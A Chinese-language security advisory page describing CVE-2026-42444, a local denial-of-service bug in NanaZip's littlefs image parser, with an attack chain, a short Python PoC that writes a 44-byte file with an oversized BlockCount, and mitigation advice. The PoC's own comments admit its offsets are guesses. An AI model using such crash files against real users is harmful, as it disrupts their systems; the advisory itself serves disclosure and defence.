IPBUF安全漏洞报告
English
CVE-2026-42444 CVSS 3.3 低危

CVE-2026-42444 NanaZip 内存耗尽漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42444
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NanaZip

相关标签

拒绝服务NanaZip内存耗尽DoS本地漏洞

漏洞概述

NanaZip是一款开源文件归档工具。在5.0.1252.0至6.0.1698.0之前的版本中,其littlefs文件系统镜像解析器存在拒绝服务漏洞。由于Open方法在处理超级块时直接读取BlockCount且未进行验证,攻击者可构造特制文件导致系统进行约40亿次堆分配,从而耗尽内存资源。该漏洞已被官方在6.0.1698.0版本中修复。

技术细节

该漏洞源于NanaZip在解析littlefs文件系统镜像时缺乏对关键数据的边界检查。具体而言,解析器的Open方法直接从攻击者控制的超级块中读取BlockCount字段,而未验证该值是否超出实际文件大小或设置合理的上限。随后,程序会根据该值进行循环迭代,并在每次迭代中分配文件路径条目。利用方式非常简单:攻击者只需构造一个大小仅为44字节的特制littlefs镜像文件,并将BlockCount字段设置为0xFFFFFFFF(即42亿多)。当受害者使用受影响版本的NanaZip打开此文件时,程序将尝试执行约40亿次堆分配操作。这种恶意的资源消耗会迅速耗尽系统的可用内存,导致应用程序崩溃甚至系统无响应,从而实现拒绝服务攻击。

攻击链分析

STEP 1
构造恶意文件
攻击者创建包含超大BlockCount值的特制littlefs镜像文件(仅44字节)。
STEP 2
诱导受害者
通过邮件、下载链接等方式将恶意文件发送给目标用户。
STEP 3
触发解析
受害者使用受影响的NanaZip版本打开该恶意文件。
STEP 4
资源耗尽
NanaZip解析器读取BlockCount并尝试进行数十亿次内存分配。
STEP 5
拒绝服务
系统内存耗尽,导致应用程序崩溃或系统卡死。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC to generate a malicious littlefs image causing DoS in NanaZip # The vulnerability is triggered by a crafted BlockCount in the superblock. # Littlefs superblock structure (simplified for PoC): # Offset 8: Block Count (uint32_t) block_count = 0xFFFFFFFF # Malicious value causing ~4 billion allocations # Constructing a minimal fake littlefs header (44 bytes as mentioned in description) # Note: Real littlefs has specific magic numbers, this targets the specific offset logic. # This is a conceptual PoC generator. data = bytearray(44) # Fill some placeholder magic bytes if necessary, but focus on BlockCount # Assuming BlockCount is at offset 8 (common in fs superblocks) or similar. # Based on NanaZip source/context, we set the specific offset. # For demonstration, we set the 4 bytes at index 8. data[8:12] = struct.pack('<I', block_count) with open('crash_nanazip.lfs', 'wb') as f: f.write(data) print("PoC file 'crash_nanazip.lfs' generated.")

影响范围

NanaZip 5.0.1252.0
NanaZip < 6.0.1698.0

防御指南

临时缓解措施
建议用户尽快更新软件至修复版本。对于无法立即更新的环境,应限制对不可信文件的访问,并在沙箱环境中进行文件解压操作,以防止主机资源被耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表